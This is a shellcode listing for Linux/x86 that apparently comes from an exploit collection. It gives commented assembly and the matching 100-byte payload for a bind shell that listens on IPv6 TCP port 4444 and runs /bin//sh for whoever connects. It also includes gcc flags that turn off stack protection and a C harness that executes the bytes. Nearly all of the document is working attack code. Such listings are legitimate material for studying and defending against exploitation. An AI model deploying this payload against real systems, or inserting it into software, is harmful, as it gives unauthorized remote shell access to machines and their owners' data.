# Title: Linux/x86 - Bind (4444/TCP) Shell + IPv6 Shellcode (100 bytes)
# Length : 100bytes
# Author: Kartik Durg
# Write-up Link: https://iamroot.blog/2018/07/17/0x1-shell_bind_tcp_ipv6-linux-x86/
# Tested on: Ubuntu 16.0.4.1 (i686)
 
/*
global _start
    section .text
     
    _start:
    ;References:
    ;(1)http://syscalls.kernelgrok.com/
    ;(2)https://www.3dbrew.org/wiki/Socket_Services
    ;(3)http://osr600doc.xinuos.com/en/SDK_netapi/sockC.TheIPv6sockaddrstructure.html
    ;(4)http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=%2Fcom.qnx.doc.neutrino_lib_ref%2Fi%2Finet6_proto.html
     
    ;IPV6 socket creation
    ;int socketcall(int call, unsigned long *args);
    ;sockfd = socket(int socket_family, int socket_type, int protocol);
    push byte 0x66 ; socketcall()
    pop eax ;EAX=0x2
     
    xor ebx,ebx ; zero out ebx
     
    push 0x6 ; IPPROTO_TCP=6
    push 0x1 ; socket_type=SOCK_STREAM (0x1)
    push 0xa ; AF_INET6
    inc ebx ; Define SYS_socket = 1
    mov ecx,esp ; save pointer (ESP) to socket() args (ECX)
    int 0x80
    xchg esi,eax    ; host_sockfd stored in esi
    xor eax,eax
     
    ;int socketcall(int call, unsigned long *args);
    ;bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr));
    push DWORD eax ;x4 dword ipv6 loopback | EAX contains 0
    push DWORD eax
    push DWORD eax
    push DWORD eax
    push eax ;sin6_addr = in6addr_any | in6addr_any=::0
    push WORD 0x5c11 ;sin6_port=4444 | 0x5c11 | Configurable |
    push WORD 0x0a ;AF_INET6
    mov ecx,esp ;ECX holds pointer to struct sockaddr
    push byte 0x1c ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
    push ecx ;pointer to host_sockfd
    push esi ;host_sockfd
    mov ecx,esp ;ECX points to args
    inc ebx ;EBX = 0x2 | #define SYS_BIND 2
    push byte 0x66 ;socketcall()
    pop eax
    int 80h
     
    ;Listen
    ;int socketcall(int call, unsigned long *args);
    ;int listen(int host_sockfd, int backlog);
    push ebx ;EBX=2 | backlog=2
    push esi ;poiter to host_sockfd
    mov ecx,esp ;ECX points to args
    inc ebx
    inc ebx ;EBX=0x4 | #define SYS_LISTEN 4
    push byte 0x66
    pop eax ;socketcall()
    int 80h
     
    ;Accept
    ;int socketcall(int call, unsigned long *args);
    ;accept(int sockfd, NULL, NULL);
    cdq ;EDX = 0x0 | Saves a byte
    push edx ;Push NULL
    push edx ;Push NULL
    push esi ;Push host_sockfd
    mov ecx,esp ;ECX points to args
    inc ebx ;EBX = 0x5 | #define SYS_ACCEPT 5
    push byte 0x66 ;socketcall()
    pop eax
    int 80h
     
    xchg ebx,eax ;save client_sockfd
     
    push byte 0x2 ;push 0x2 on stack
    pop ecx ;ECX = 2
     
    ;dup2() to redirect stdin(0), stdout(1) and stderr(2)
    loop:
    push byte 0x3f ;dup2()
    pop eax ;ECX = 0x3f
    int 0x80 ;exec sys_dup2
    dec ecx ;decrement counter
    jns loop ;SF not set? then keep on jumping
     
    ;execve(/bin//sh)
    xor ecx,ecx ;clear ECX
    push ecx ;Push NULL
    push byte 0x0b ;execve() sys call number
    pop eax ;EAX=0x2 | execve()
    push 0x68732f2f ;(1)/bin//sh
    push 0x6e69622f ;(2)/bin//sh
    mov ebx,esp ;EBX pointing to "/bin//sh"
    int 0x80 ;Calling Interrupt for sys call
*/
 
/*
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
 
./shellcode
 
*/
 
#include<stdio.h>
  
unsigned char shellcode[] = \
"\x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x53\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x99\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
  
main()
{
    printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
    int (*ret)() = (int(*)())shellcode;
    ret();
}